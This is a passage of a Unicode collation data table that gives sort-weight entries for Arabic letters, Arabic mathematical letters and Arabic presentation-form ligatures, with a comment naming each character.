[.232D.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE KHAH WITH MEEM ISOLATED FORM -FD1F ; [.232D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE KHAH WITH ALEF MAKSURA FINAL FORM -FD03 ; [.232D.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE KHAH WITH ALEF MAKSURA ISOLATED FORM -FD20 ; [.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE KHAH WITH YEH FINAL FORM -FD04 ; [.232D.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE KHAH WITH YEH ISOLATED FORM -0681 ; [.232E.0020.0002] # ARABIC LETTER HAH WITH HAMZA ABOVE -0682 ; [.232F.0020.0002] # ARABIC LETTER HAH WITH TWO DOTS VERTICAL ABOVE -0685 ; [.2330.0020.0002] # ARABIC LETTER HAH WITH THREE DOTS ABOVE -0757 ; [.2331.0020.0002] # ARABIC LETTER HAH WITH TWO DOTS ABOVE -0758 ; [.2332.0020.0002] # ARABIC LETTER HAH WITH THREE DOTS POINTING UPWARDS BELOW -076E ; [.2333.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH BELOW -076F ; [.2334.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH AND TWO DOTS -0772 ; [.2335.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH ABOVE -077C ; [.2336.0020.0002] # ARABIC LETTER HAH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW -062F ; [.2337.0020.0002] # ARABIC LETTER DAL -1EE03 ; [.2337.0020.0005] # ARABIC MATHEMATICAL DAL -1EE83 ; [.2337.0020.0005] # ARABIC MATHEMATICAL LOOPED DAL -1EEA3 ; [.2337.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK DAL -FEAA ; [.2337.0020.0019] # ARABIC LETTER DAL FINAL FORM -FEA9 ; [.2337.0020.001A] # ARABIC LETTER DAL ISOLATED FORM -0630 ; [.2338.0020.0002] # ARABIC LETTER THAL -1EE18 ; [.2338.0020.0005] # ARABIC MATHEMATICAL THAL -1EE98 ; [.2338.0020.0005] # ARABIC MATHEMATICAL LOOPED THAL -1EEB8 ; [.2338.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK THAL -FEAC ; [.2338.0020.0019] # ARABIC LETTER THAL FINAL FORM -FEAB ; [.2338.0020.001A] # ARABIC LETTER THAL ISOLATED FORM -FC5B ; [.2338.0020.001A][.0000.0098.001A] # ARABIC LIGATURE THAL WITH SUPERSCRIPT ALEF ISOLATED FORM -0688 ; [.2339.0020.0002] # ARABIC LETTER DDAL -FB89 ; [.2339.0020.0019] # ARABIC LETTER DDAL FINAL FORM -FB88 ; [.2339.0020.001A] # ARABIC LETTER DDAL ISOLATED FORM -0689 ; [.233A.0020.0002] # ARABIC LETTER DAL WITH RING -068A ; [.233B.0020.0002] # ARABIC LETTER DAL WITH DOT BELOW -068B ; [.233C.0020.0002] # ARABIC LETTER DAL WITH DOT BELOW AND SMALL TAH -068C ; [.233D.0020.0002] # ARABIC LETTER DAHAL -FB85 ; [.233D.0020.0019] # ARABIC LETTER DAHAL FINAL FORM -FB84 ; [.233D.0020.001A] # ARABIC LETTER DAHAL ISOLATED FORM -068D ; [.233E.0020.0002] # ARABIC LETTER DDAHAL -FB83 ; [.233E.0020.0019] # ARABIC LETTER DDAHAL FINAL FORM -FB82 ; [.233E.0020.001A] # ARABIC LETTER DDAHAL ISOLATED FORM -08AE ; [.233F.0020.0002] # ARABIC LETTER DAL WITH THREE DOTS BELOW -068E ; [.2340.0020.0002] # ARABIC LETTER DUL -FB87 ; [.2340.0020.0019] # ARABIC LETTER DUL FINAL FORM -FB86 ; [.2340.0020.001A] # ARABIC LETTER DUL ISOLATED FORM -068F ; [.2341.0020.0002] # ARABIC LETTER DAL WITH THREE DOTS ABOVE DOWNWARDS -0690 ; [.2342.0020.0002] # ARABIC LETTER DAL WITH FOUR DOTS ABOVE -06EE ; [.2343.0020.0002] # ARABIC LETTER DAL WITH INVERTED V -0759 ; [.2344.0020.0002] # ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW AND SMALL TAH -075A ; [.2345.0020.0002] # ARABIC LETTER DAL WITH INVERTED SMALL V BELOW -0631 ; [.2346.0020.0002] # ARABIC LETTER REH -1EE13 ; [.2346.0020.0005] # ARABIC MATHEMATICAL REH -1EE93 ; [.2346.0020.0005] # ARABIC MATHEMATICAL LOOPED REH -1EEB3 ; [.2346.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK REH -FEAE ; [.2346.0020.0019] # ARABIC LETTER REH FINAL FORM -FEAD ; [.2346.0020.001A] # ARABIC LETTER REH ISOLATED FORM -FC5C ; [.2346.0020.001A][.0000.0098.001A] # ARABIC LIGATURE REH WITH SUPERSCRIPT ALEF ISOLATED FORM -FDF6 ; [.2346.0020.001A][.2359.0020.001A][.23B7.0020.001A][.239C.0020.001A] # ARABIC LIGATURE RASOUL ISOLATED FORM -FDFC ; [.2346.0020.001A][.23C7.0020.001A][.230B.0020.001A][.239C.0020.001A] # RIAL SIGN -0632 ; [.2347.0020.0002] # ARABIC LETTER ZAIN -1EE06 ; [.2347.0020.0005] # ARABIC MATHEMATICAL ZAIN -1EE86 ; [.2347.0020.0005] # ARABIC MATHEMATICAL LOOPED ZAIN -1EEA6 ; [.2347.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK ZAIN -FEB0 ; [.2347.0020.0019] # ARABIC LETTER ZAIN FINAL FORM -FEAF ; [.2347.0020.001A] # ARABIC LETTER ZAIN ISOLATED FORM -0691 ; [.2348.0020.0002] # ARABIC LETTER RREH -FB8D ; [.2348.0020.0019] # ARABIC LETTER RREH FINAL FORM -FB8C ; [.2348.0020.001A] # ARABIC LETTER RREH ISOLATED FORM -0692 ; [.2349.0020.0002] # ARABIC LETTER REH WITH SMALL V -0693 ; [.234A.0020.0002] # ARABIC LETTER REH WITH RING -0694 ; [.234B.0020.0002] # ARABIC LETTER REH WITH DOT BELOW -0695 ; [.234C.0020.0002] # ARABIC LETTER REH WITH SMALL V BELOW -0696 ; [.234D.0020.0002] # ARABIC LETTER REH WITH DOT BELOW AND DOT ABOVE -0697 ; [.234E.0020.0002] # ARABIC LETTER REH WITH TWO DOTS ABOVE -0698 ; [.234F.0020.0002] # ARABIC LETTER JEH -FB8B ; [.234F.0020.0019] # ARABIC LETTER JEH FINAL FORM -FB8A ; [.234F.0020.001A] # ARABIC LETTER JEH ISOLATED FORM -0699 ; [.2350.0020.0002] # ARABIC LETTER REH WITH FOUR DOTS ABOVE -06EF ; [.2351.0020.0002] # ARABIC LETTER REH WITH INVERTED V -075B ; [.2352.0020.0002] # ARABIC LETTER REH WITH STROKE -076B ; [.2353.0020.0002] # ARABIC LETTER REH WITH TWO DOTS VERTICALLY ABOVE -076C ; [.2354.0020.0002] # ARABIC LETTER REH WITH HAMZA ABOVE -0771 ; [.2355.0020.0002] # ARABIC LETTER REH WITH SMALL ARABIC LETTER TAH AND TWO DOTS -08AA ; [.2356.0020.0002] # ARABIC LETTER REH WITH LOOP -08B2 ; [.2357.0020.0002] # ARABIC LETTER ZAIN WITH INVERTED V ABOVE -08B9 ; [.2358.0020.0002] # ARABIC LETTER REH WITH SMALL NOON ABOVE -0633 ; [.2359.0020.0002] # ARABIC LETTER SEEN -1EE0E ; [.2359.0020.0005] # ARABIC MATHEMATICAL SEEN -1EE2E ; [.2359.0020.0005] # ARABIC MATHEMATICAL INITIAL SEEN -1EE4E ; [.2359.0020.0005] # ARABIC MATHEMATICAL TAILED SEEN -1EE6E ; [.2359.0020.0005] # ARABIC MATHEMATICAL STRETCHED SEEN -1EE8E ; [.2359.0020.0005] # ARABIC MATHEMATICAL LOOPED SEEN -1EEAE ; [.2359.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SEEN -FEB3 ; [.2359.0020.0017] # ARABIC LETTER SEEN INITIAL FORM -FEB4 ; [.2359.0020.0018] # ARABIC LETTER SEEN MEDIAL FORM -FEB2 ; [.2359.0020.0019] # ARABIC LETTER SEEN FINAL FORM -FEB1 ; [.2359.0020.001A] # ARABIC LETTER SEEN ISOLATED FORM -FCAD ; [.2359.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SEEN WITH JEEM INITIAL FORM -FD34 ; [.2359.0020.0018][.2325.0020.0018] # ARABIC LIGATURE SEEN WITH JEEM MEDIAL FORM -FC1C ; [.2359.0020.001A][.2325.0020.001A] # ARABIC LIGATURE SEEN WITH JEEM ISOLATED FORM -FD5D ; [.2359.0020.0017][.2325.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SEEN WITH JEEM WITH HAH INITIAL FORM -FD5E ; [.2359.0020.0019][.2325.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SEEN WITH JEEM WITH ALEF MAKSURA FINAL FORM -FCAE ; [.2359.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SEEN WITH HAH INITIAL FORM -FD35 ; [.2359.0020.0018][.232C.0020.0018] # ARABIC LIGATURE SEEN WITH HAH MEDIAL FORM -FC1D ; [.2359.0020.001A][.232C.0020.001A] # ARABIC LIGATURE SEEN WITH HAH ISOLATED FORM -FD5C ; [.2359.0020.0017][.232C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SEEN WITH HAH WITH JEEM INITIAL FORM -FCAF ; [.2359.0020.0017][.232D.0020.0017] # ARABIC LIGATURE SEEN WITH KHAH INITIAL FORM -FD36 ; [.2359.0020.0018][.232D.0020.0018] # ARABIC LIGATURE SEEN WITH KHAH MEDIAL FORM -FC1E ; [.2359.0020.001A][.232D.0020.001A] # ARABIC LIGATURE SEEN WITH KHAH ISOLATED FORM -FDA8 ; [.2359.0020.0019][.232D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SEEN WITH KHAH WITH ALEF MAKSURA FINAL FORM -FDC6 ; [.2359.0020.0019][.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SEEN WITH KHAH WITH YEH FINAL FORM -FD2A ; [.2359.0020.0019][.2346.0020.0019] # ARABIC LIGATURE SEEN WITH REH FINAL FORM -FD0E ; [.2359.0020.001A][.2346.0020.001A] # ARABIC LIGATURE SEEN WITH REH ISOLATED FORM -FCB0 ; [.2359.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM INITIAL FORM -FCE7 ; [.2359.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE SEEN WITH MEEM MEDIAL FORM -FC1F ; [.2359.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SEEN WITH MEEM ISOLATED FORM -FD61 ; [.2359.0020.0017][.23A3.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH JEEM INITIAL FORM -FD60 ; [.2359.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH HAH INITIAL FORM -FD5F ; [.2359.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE SEEN WITH MEEM WITH HAH FINAL FORM -FD63 ; [.2359.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SEEN WITH MEEM WITH MEEM INITIAL FORM -FD62 ; [.2359.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SEEN WITH MEEM WITH MEEM FINAL FORM -FD31 ; [.2359.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE SEEN WITH HEH INITIAL FORM -FCE8 ; [.2359.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE SEEN WITH HEH MEDIAL FORM -FD17 ; [.2359.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SEEN WITH ALEF MAKSURA FINAL FORM -FCFB ; [.2359.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE SEEN WITH ALEF MAKSURA ISOLATED FORM -FD18 ; [.2359.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SEEN WITH YEH FINAL FORM -FCFC ; [.2359.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE SEEN WITH YEH ISOLATED FORM -0634 ; [.235A.0020.0002] # ARABIC LETTER SHEEN -1EE14 ; [.235A.0020.0005] # ARABIC MATHEMATICAL SHEEN -1EE34 ; [.235A.0020.0005] # ARABIC MATHEMATICAL INITIAL SHEEN -1EE54 ; [.235A.0020.0005] # ARABIC MATHEMATICAL TAILED SHEEN -1EE74 ; [.235A.0020.0005] # ARABIC MATHEMATICAL STRETCHED SHEEN -1EE94 ; [.235A.0020.0005] # ARABIC MATHEMATICAL LOOPED SHEEN -1EEB4 ; [.235A.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SHEEN -FEB7 ; [.235A.0020.0017] # ARABIC LETTER SHEEN INITIAL FORM -FEB8 ; [.235A.0020.0018] # ARABIC LETTER SHEEN MEDIAL FORM -FEB6 ; [.235A.0020.0019] # ARABIC LETTER SHEEN FINAL FORM -FEB5 ; [.235A.0020.001A] # ARABIC LETTER SHEEN ISOLATED FORM -FD2D ; [.235A.0020.0017][.2325.0020.0017] # ARABIC LIGATURE SHEEN WITH JEEM INITIAL FORM -FD37 ; [.235A.0020.0018][.2325.0020.0018] # ARABIC LIGATURE SHEEN WITH JEEM MEDIAL FORM -FD25 ; [.235A.0020.0019][.2325.0020.0019] # ARABIC LIGATURE SHEEN WITH JEEM FINAL FORM -FD09 ; [.235A.0020.001A][.2325.0020.001A] # ARABIC LIGATURE SHEEN WITH JEEM ISOLATED FORM -FD69 ; [.235A.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SHEEN WITH JEEM WITH YEH FINAL FORM -FD2E ; [.235A.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SHEEN WITH HAH INITIAL FORM -FD38 ; [.235A.0020.0018][.232C.0020.0018] # ARABIC LIGATURE SHEEN WITH HAH MEDIAL FORM -FD26 ; [.235A.0020.0019][.232C.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH FINAL FORM -FD0A ; [.235A.0020.001A][.232C.0020.001A] # ARABIC LIGATURE SHEEN WITH HAH ISOLATED FORM -FD68 ; [.235A.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SHEEN WITH HAH WITH MEEM INITIAL FORM -FD67 ; [.235A.0020.0019][.232C.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH WITH MEEM FINAL FORM -FDAA ; [.235A.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SHEEN WITH HAH WITH YEH FINAL FORM -FD2F ; [.235A.0020.0017][.232D.0020.0017] # ARABIC LIGATURE SHEEN WITH KHAH INITIAL FORM -FD39 ; [.235A.0020.0018][.232D.0020.0018] # ARABIC LIGATURE SHEEN WITH KHAH MEDIAL FORM -FD27 ; [.235A.0020.0019][.232D.0020.0019] # ARABIC LIGATURE SHEEN WITH KHAH FINAL FORM -FD0B ; [.235A.0020.001A][.232D.0020.001A] # ARABIC LIGATURE SHEEN WITH KHAH ISOLATED FORM -FD29 ; [.235A.0020.0019][.2346.0020.0019] # ARABIC LIGATURE SHEEN WITH REH FINAL FORM -FD0D ; [.235A.0020.001A][.2346.0020.001A] # ARABIC LIGATURE SHEEN WITH REH ISOLATED FORM -FD30 ; [.235A.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM INITIAL FORM -FCE9 ; [.235A.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE SHEEN WITH MEEM MEDIAL FORM -FD28 ; [.235A.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM FINAL FORM -FD0C ; [.235A.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SHEEN WITH MEEM ISOLATED FORM -FD6B ; [.235A.0020.0017][.23A3.0020.0017][.232D.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH INITIAL FORM -FD6A ; [.235A.0020.0019][.23A3.0020.0019][.232D.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH FINAL FORM -FD6D ; [.235A.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM INITIAL FORM -FD6C ; [.235A.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM FINAL FORM -FD32 ; [.235A.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE SHEEN WITH HEH INITIAL FORM -FCEA ; [.235A.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE SHEEN WITH HEH MEDIAL FORM -FD19 ; [.235A.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SHEEN WITH ALEF MAKSURA FINAL FORM -FCFD ; [.235A.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE SHEEN WITH ALEF MAKSURA ISOLATED FORM -FD1A ; [.235A.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SHEEN WITH YEH FINAL FORM -FCFE ; [.235A.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE SHEEN WITH YEH ISOLATED FORM -069A ; [.235B.0020.0002] # ARABIC LETTER SEEN WITH DOT BELOW AND DOT ABOVE -069B ; [.235C.0020.0002] # ARABIC LETTER SEEN WITH THREE DOTS BELOW -069C ; [.235D.0020.0002] # ARABIC LETTER SEEN WITH THREE DOTS BELOW AND THREE DOTS ABOVE -06FA ; [.235E.0020.0002] # ARABIC LETTER SHEEN WITH DOT BELOW -075C ; [.235F.0020.0002] # ARABIC LETTER SEEN WITH FOUR DOTS ABOVE -076D ; [.2360.0020.0002] # ARABIC LETTER SEEN WITH TWO DOTS VERTICALLY ABOVE -0770 ; [.2361.0020.0002] # ARABIC LETTER SEEN WITH SMALL ARABIC LETTER TAH AND TWO DOTS -077D ; [.2362.0020.0002] # ARABIC LETTER SEEN WITH EXTENDED ARABIC-INDIC DIGIT FOUR ABOVE -077E ; [.2363.0020.0002] # ARABIC LETTER SEEN WITH INVERTED V -0635 ; [.2364.0020.0002] # ARABIC LETTER SAD -1EE11 ; [.2364.0020.0005] # ARABIC MATHEMATICAL SAD -1EE31 ; [.2364.0020.0005] # ARABIC MATHEMATICAL INITIAL SAD -1EE51 ; [.2364.0020.0005] # ARABIC MATHEMATICAL TAILED SAD -1EE71 ; [.2364.0020.0005] # ARABIC MATHEMATICAL STRETCHED SAD -1EE91 ; [.2364.0020.0005] # ARABIC MATHEMATICAL LOOPED SAD -1EEB1 ; [.2364.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK SAD -FEBB ; [.2364.0020.0017] # ARABIC LETTER SAD INITIAL FORM -FEBC ; [.2364.0020.0018] # ARABIC LETTER SAD MEDIAL FORM -FEBA ; [.2364.0020.0019] # ARABIC LETTER SAD FINAL FORM -FEB9 ; [.2364.0020.001A] # ARABIC LETTER SAD ISOLATED FORM -FCB1 ; [.2364.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SAD WITH HAH INITIAL FORM -FC20 ; [.2364.0020.001A][.232C.0020.001A] # ARABIC LIGATURE SAD WITH HAH ISOLATED FORM -FD65 ; [.2364.0020.0017][.232C.0020.0017][.232C.0020.0017] # ARABIC LIGATURE SAD WITH HAH WITH HAH INITIAL FORM -FD64 ; [.2364.0020.0019][.232C.0020.0019][.232C.0020.0019] # ARABIC LIGATURE SAD WITH HAH WITH HAH FINAL FORM -FDA9 ; [.2364.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SAD WITH HAH WITH YEH FINAL FORM -FCB2 ; [.2364.0020.0017][.232D.0020.0017] # ARABIC LIGATURE SAD WITH KHAH INITIAL FORM -FD2B ; [.2364.0020.0019][.2346.0020.0019] # ARABIC LIGATURE SAD WITH REH FINAL FORM -FD0F ; [.2364.0020.001A][.2346.0020.001A] # ARABIC LIGATURE SAD WITH REH ISOLATED FORM -FDF5 ; [.2364.0020.001A][.239C.0020.001A][.236E.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SALAM ISOLATED FORM -FDF9 ; [.2364.0020.001A][.239C.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE SALLA ISOLATED FORM -FDFA ; [.2364.0020.001A][.239C.0020.001A][.23C5.0020.001A][*0209.0020.001A][.230B.0020.001A][.239C.0020.001A][.239C.0020.001A][.23B1.0020.001A][*0209.0020.001A][.236E.0020.001A][.239C.0020.001A][.23C6.0020.001A][.23B1.0020.001A][*0209.0020.001A][.23B7.0020.001A][.2359.0020.001A][.239C.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SALLALLAHOU ALAYHE WASALLAM -FDF0 ; [.2364.0020.001A][.239C.0020.001A][.23D4.0020.001A] # ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM -FCB3 ; [.2364.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SAD WITH MEEM INITIAL FORM -FC21 ; [.2364.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE SAD WITH MEEM ISOLATED FORM -FDC5 ; [.2364.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE SAD WITH MEEM WITH MEEM INITIAL FORM -FD66 ; [.2364.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE SAD WITH MEEM WITH MEEM FINAL FORM -FD21 ; [.2364.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE SAD WITH ALEF MAKSURA FINAL FORM -FD05 ; [.2364.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE SAD WITH ALEF MAKSURA ISOLATED FORM -FD22 ; [.2364.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE SAD WITH YEH FINAL FORM -FD06 ; [.2364.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE SAD WITH YEH ISOLATED FORM -0636 ; [.2365.0020.0002] # ARABIC LETTER DAD -1EE19 ; [.2365.0020.0005] # ARABIC MATHEMATICAL DAD -1EE39 ; [.2365.0020.0005] # ARABIC MATHEMATICAL INITIAL DAD -1EE59 ; [.2365.0020.0005] # ARABIC MATHEMATICAL TAILED DAD -1EE79 ; [.2365.0020.0005] # ARABIC MATHEMATICAL STRETCHED DAD -1EE99 ; [.2365.0020.0005] # ARABIC MATHEMATICAL LOOPED DAD -1EEB9 ; [.2365.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK DAD -FEBF ; [.2365.0020.0017] # ARABIC LETTER DAD INITIAL FORM -FEC0 ; [.2365.0020.0018] # ARABIC LETTER DAD MEDIAL FORM -FEBE ; [.2365.0020.0019] # ARABIC LETTER DAD FINAL FORM -FEBD ; [.2365.0020.001A] # ARABIC LETTER DAD ISOLATED FORM -FCB4 ; [.2365.0020.0017][.2325.0020.0017] # ARABIC LIGATURE DAD WITH JEEM INITIAL FORM -FC22 ; [.2365.0020.001A][.2325.0020.001A] # ARABIC LIGATURE DAD WITH JEEM ISOLATED FORM -FCB5 ; [.2365.0020.0017][.232C.0020.0017] # ARABIC LIGATURE DAD WITH HAH INITIAL FORM -FC23 ; [.2365.0020.001A][.232C.0020.001A] # ARABIC LIGATURE DAD WITH HAH ISOLATED FORM -FD6E ; [.2365.0020.0019][.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE DAD WITH HAH WITH ALEF MAKSURA FINAL FORM -FDAB ; [.2365.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE DAD WITH HAH WITH YEH FINAL FORM -FCB6 ; [.2365.0020.0017][.232D.0020.0017] # ARABIC LIGATURE DAD WITH KHAH INITIAL FORM -FC24 ; [.2365.0020.001A][.232D.0020.001A] # ARABIC LIGATURE DAD WITH KHAH ISOLATED FORM -FD70 ; [.2365.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE DAD WITH KHAH WITH MEEM INITIAL FORM -FD6F ; [.2365.0020.0019][.232D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE DAD WITH KHAH WITH MEEM FINAL FORM -FD2C ; [.2365.0020.0019][.2346.0020.0019] # ARABIC LIGATURE DAD WITH REH FINAL FORM -FD10 ; [.2365.0020.001A][.2346.0020.001A] # ARABIC LIGATURE DAD WITH REH ISOLATED FORM -FCB7 ; [.2365.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE DAD WITH MEEM INITIAL FORM -FC25 ; [.2365.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE DAD WITH MEEM ISOLATED FORM -FD23 ; [.2365.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE DAD WITH ALEF MAKSURA FINAL FORM -FD07 ; [.2365.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE DAD WITH ALEF MAKSURA ISOLATED FORM -FD24 ; [.2365.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE DAD WITH YEH FINAL FORM -FD08 ; [.2365.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE DAD WITH YEH ISOLATED FORM -069D ; [.2366.0020.0002] # ARABIC LETTER SAD WITH TWO DOTS BELOW -08AF ; [.2367.0020.0002] # ARABIC LETTER SAD WITH THREE DOTS BELOW -069E ; [.2368.0020.0002] # ARABIC LETTER SAD WITH THREE DOTS ABOVE -06FB ; [.2369.0020.0002] # ARABIC LETTER DAD WITH DOT BELOW -0637 ; [.236A.0020.0002] # ARABIC LETTER TAH -1EE08 ; [.236A.0020.0005] # ARABIC MATHEMATICAL TAH -1EE68 ; [.236A.0020.0005] # ARABIC MATHEMATICAL STRETCHED TAH -1EE88 ; [.236A.0020.0005] # ARABIC MATHEMATICAL LOOPED TAH -1EEA8 ; [.236A.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK TAH -FEC3 ; [.236A.0020.0017] # ARABIC LETTER TAH INITIAL FORM -FEC4 ; [.236A.0020.0018] # ARABIC LETTER TAH MEDIAL FORM -FEC2 ; [.236A.0020.0019] # ARABIC LETTER TAH FINAL FORM -FEC1 ; [.236A.0020.001A] # ARABIC LETTER TAH ISOLATED FORM -FCB8 ; [.236A.0020.0017][.232C.0020.0017] # ARABIC LIGATURE TAH WITH HAH INITIAL FORM -FC26 ; [.236A.0020.001A][.232C.0020.001A] # ARABIC LIGATURE TAH WITH HAH ISOLATED FORM -FD33 ; [.236A.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TAH WITH MEEM INITIAL FORM -FD3A ; [.236A.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE TAH WITH MEEM MEDIAL FORM -FC27 ; [.236A.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE TAH WITH MEEM ISOLATED FORM -FD72 ; [.236A.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE TAH WITH MEEM WITH HAH INITIAL FORM -FD71 ; [.236A.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE TAH WITH MEEM WITH HAH FINAL FORM -FD73 ; [.236A.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TAH WITH MEEM WITH MEEM INITIAL FORM -FD74 ; [.236A.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TAH WITH MEEM WITH YEH FINAL FORM -FD11 ; [.236A.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TAH WITH ALEF MAKSURA FINAL FORM -FCF5 ; [.236A.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE TAH WITH ALEF MAKSURA ISOLATED FORM -FD12 ; [.236A.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TAH WITH YEH FINAL FORM -FCF6 ; [.236A.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE TAH WITH YEH ISOLATED FORM -0638 ; [.236B.0020.0002] # ARABIC LETTER ZAH -1EE1A ; [.236B.0020.0005] # ARABIC MATHEMATICAL ZAH -1EE7A ; [.236B.0020.0005] # ARABIC MATHEMATICAL STRETCHED ZAH -1EE9A ; [.236B.0020.0005] # ARABIC MATHEMATICAL LOOPED ZAH -1EEBA ; [.236B.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK ZAH -FEC7 ; [.236B.0020.0017] # ARABIC LETTER ZAH INITIAL FORM -FEC8 ; [.236B.0020.0018] # ARABIC LETTER ZAH MEDIAL FORM -FEC6 ; [.236B.0020.0019] # ARABIC LETTER ZAH FINAL FORM -FEC5 ; [.236B.0020.001A] # ARABIC LETTER ZAH ISOLATED FORM -FCB9 ; [.236B.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE ZAH WITH MEEM INITIAL FORM -FD3B ; [.236B.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE ZAH WITH MEEM MEDIAL FORM -FC28 ; [.236B.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE ZAH WITH MEEM ISOLATED FORM -069F ; [.236C.0020.0002] # ARABIC LETTER TAH WITH THREE DOTS ABOVE -08A3 ; [.236D.0020.0002] # ARABIC LETTER TAH WITH TWO DOTS ABOVE -0639 ; [.236E.0020.0002] # ARABIC LETTER AIN -1EE0F ; [.236E.0020.0005] # ARABIC MATHEMATICAL AIN -1EE2F ; [.236E.0020.0005] # ARABIC MATHEMATICAL INITIAL AIN -1EE4F ; [.236E.0020.0005] # ARABIC MATHEMATICAL TAILED AIN -1EE6F ; [.236E.0020.0005] # ARABIC MATHEMATICAL STRETCHED AIN -1EE8F ; [.236E.0020.0005] # ARABIC MATHEMATICAL LOOPED AIN -1EEAF ; [.236E.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK AIN -FECB ; [.236E.0020.0017] # ARABIC LETTER AIN INITIAL FORM -FECC ; [.236E.0020.0018] # ARABIC LETTER AIN 